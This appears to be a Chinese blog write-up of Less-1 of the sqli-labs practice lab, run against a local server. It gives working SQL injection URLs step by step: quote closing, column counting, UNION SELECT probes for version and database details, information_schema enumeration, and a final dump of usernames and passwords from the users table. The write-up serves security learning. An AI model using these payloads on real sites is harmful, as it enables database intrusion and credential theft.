sql-labs--Less-1--Error based-Single quotes
  5SyAhHjHchzq 2023年11月01日 93 0

sql="SELECT * FROM users WHERE id='id' LIMIT 0,1";

打开第一关,我们看到如下界面,上面写着Please input the ID as parameter with numeric value,它的意思是让我们请输入ID作为带有数值的参数。

image-20230903233859-2352t53

我们输入带有id的参数:http://127.0.0.1/sqli-labs/Less-1/?id=1,如下图,正确回显界面。

image-20230903234125-nor3k75

我们尝试加入and 1=1(http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1),正确回显,然后我们将and 1=1 改为and 1=2,发现正确回显,为字符型注入,即说明存在闭合的干扰,所以我们在http://127.0.0.1/sqli-labs/Less-1/?id=1后面加一个'(单引号):http://127.0.0.1/sqli-labs/Less-1/?id=1',返回错误。如下图:

注释:这里and 1=1 改为and 1=2,发现正确回显,因为id为int类型,所以传入的 ‘1 and 1=2’ 会强制转换成 ‘1’ ,=>最终数据库中的查询语句为: select * from user where id ='1'; 所以sql语句不会报错。

image-20230904070755-4puotz3

爆的SQL语法错误('1'' LIMIT 0,1),多加了一个引号,即为字符型注入,说明为id='id'。

我们对‘后加--+进行注释。不能用# ,因为url中的# 号代表html页面中的锚点,数据传输过程并不会一起带到后端,且命令传到后端,少了一个单引号用来闭合命令(我们可以利用这种特性,在url中命令结尾添加一个单引号来代替注释符,或者将# 改为url编码(%23)。

然后我们使用order by对数据进行排序,查看数据有几列。(http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+)超过3就会报错,显示结果超出。如下:

image-20230904105415-zm5rsps

然后进行union联合注入(union 的作用是将两个 sql 语句进行联合。):当 id 的数据在数据库中不存在时,(即使 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,就将后面的语句的内容显示出来)此处前台页面返回了构造的 union 的数据。

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+,回显正确。如下:

image-20230904112405-o0flsqh

我们可以看出是更改select中的2,3来使我们知道我们想知道的信息。

查询数据库版本和数据库名:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+

image-20230904112921-04boptb

查询用户名和操作系统:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+

image-20230904113047-e0oinbv

也可以爆出数据库中的所有数据库名(http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+),我上边已经将这个数据库的库名爆出来了,没必要再去爆所有数据库名。

爆出security 数据库的数据表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

image-20230904114212-t8b9ybv

爆users表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image-20230904114445-awpt6i8

爆出数据:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=1--+

image-20230904114638-44f3ipx

 
【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   3天前   5   0   0 网络安全
  OKgNPeBk991j   2天前   14   0   0 网络安全